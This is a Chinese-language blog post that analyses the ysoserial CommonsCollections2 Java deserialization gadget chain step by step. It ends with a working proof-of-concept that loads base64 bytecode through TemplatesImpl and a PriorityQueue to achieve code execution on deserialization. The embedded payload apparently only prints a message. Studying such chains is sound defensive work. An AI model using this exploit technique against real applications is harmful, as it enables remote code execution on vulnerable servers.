Java利用链CommonCollections2分析
前言
Commons Collections有两个分支版本:
commons-collections:commons-collections
org.apache.commons:commons-collections4
在commons-collections:commons-collections
可以使用的利用链在org.apache.commons:commons-collections4
中都可以正常使用。在ysoserial中专门为CC4出了两条新的利用链CC2和CC4。
ysoserial中的CC2
先看下ysoserial中的CC2是怎么写的

根据注释了解大概是通过PriorityQueue.readObject()进行反序列化到TransformingComparator.compare()完成整个利用链
1 2 3 4 5 6 7 8 9 10
| /* Gadget chain: ObjectInputStream.readObject() PriorityQueue.readObject() ... TransformingComparator.compare() InvokerTransformer.transform() Method.invoke() Runtime.exec() */
|
先看PriorityQueue的readObject,其中调用了heapify方法

heapify方法中调用了siftDown方法

siftDown方法中调用了siftDownUsingComparator方法

siftDownUsingComparator方法调用了comparator.compare方法

而comparator是我们在构造时传入的TransformingComparator

也就是执行了TransformingComparator.compare再看compare方法调用transformer.transofrm方法,传入的obj是queue拿出的对象

而transfomer也是在构造中传入的InvokerTransformer

到此已经有了完整利用链
构造POC
需要注意queue中至少要有两个对象,所以add了两次,并且必须要add templatesImp对象否则没有newTransformer方法,在compare调用transform时会报错。也可以使用反射修改queue中的参数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| public class CommonCollections2 { public static void main(String[] args) throws Exception { byte[] code = org.apache.commons.codec.binary.Base64.decodeBase64("yv66vgAAADIAMwoABwAiCQAjACQIACUKACYAJwoAJgAoBwApBwAqAQAJdHJhbnNmb3JtAQBQKExvcmcvYXBhY2hlL3hhbGFuL3hzbHRjL0RPTTtbTG9yZy9hcGFjaGUveG1sL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAHEx0ZXN0L2xvYWRlci9UZW1wbGF0ZXNJbXBsWDsBAANkb20BABxMb3JnL2FwYWNoZS94YWxhbi94c2x0Yy9ET007AQAVc2VyaWFsaXphdGlvbkhhbmRsZXJzAQAxW0xvcmcvYXBhY2hlL3htbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHACsBAHMoTG9yZy9hcGFjaGUveGFsYW4veHNsdGMvRE9NO0xvcmcvYXBhY2hlL3htbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xvcmcvYXBhY2hlL3htbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAPZHRtQXhpc0l0ZXJhdG9yAQAkTG9yZy9hcGFjaGUveG1sL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAUc2VyaWFsaXphdGlvbkhhbmRsZXIBADBMb3JnL2FwYWNoZS94bWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAAY8aW5pdD4BAAMoKVYBAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEABGFyZ3MBABNbTGphdmEvbGFuZy9TdHJpbmc7AQAKU291cmNlRmlsZQEAE1RlbXBsYXRlc0ltcGxYLmphdmEMABoAGwcALAwALQAuAQATdGVtcGxhdGVYIGNvbnN0cnVjdAcALwwAMAAxDAAwADIBABp0ZXN0L2xvYWRlci9UZW1wbGF0ZXNJbXBsWAEAL29yZy9hcGFjaGUveGFsYW4veHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQAob3JnL2FwYWNoZS94YWxhbi94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVgEABChJKVYAIQAGAAcAAAAAAAQAAQAIAAkAAgAKAAAAPwAAAAMAAAABsQAAAAIACwAAAAYAAQAAAA0ADAAAACAAAwAAAAEADQAOAAAAAAABAA8AEAABAAAAAQARABIAAgATAAAABAABABQAAQAIABUAAgAKAAAASQAAAAQAAAABsQAAAAIACwAAAAYAAQAAABIADAAAACoABAAAAAEADQAOAAAAAAABAA8AEAABAAAAAQAWABcAAgAAAAEAGAAZAAMAEwAAAAQAAQAUAAEAGgAbAAEACgAAAD8AAgABAAAADSq3AAGyAAISA7YABLEAAAACAAsAAAAOAAMAAAAUAAQAFQAMABYADAAAAAwAAQAAAA0ADQAOAAAACQAcAB0AAQAKAAAAOAACAAEAAAAKsgACEQKatgAFsQAAAAIACwAAAAoAAgAAABkACQAaAAwAAAAMAAEAAAAKAB4AHwAAAAEAIAAAAAIAIQ==");
TemplatesImpl tpi = new TemplatesImpl(); setFieldValue(tpi, "_bytecodes", new byte[][]{code}); setFieldValue(tpi, "_name", "TemplatesImpl"); setFieldValue(tpi, "_tfactory", new org.apache.xalan.xsltc.trax.TransformerFactoryImpl());
InvokerTransformer invokerTransformer = new InvokerTransformer("toString",new Class[0],new Object[0]);
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(invokerTransformer));
queue.add(tpi); queue.add(tpi);
setFieldValue(invokerTransformer, "iMethodName", "newTransformer");
ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(queue); oos.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); Object o = (Object)ois.readObject();
} }
|
结果

__END__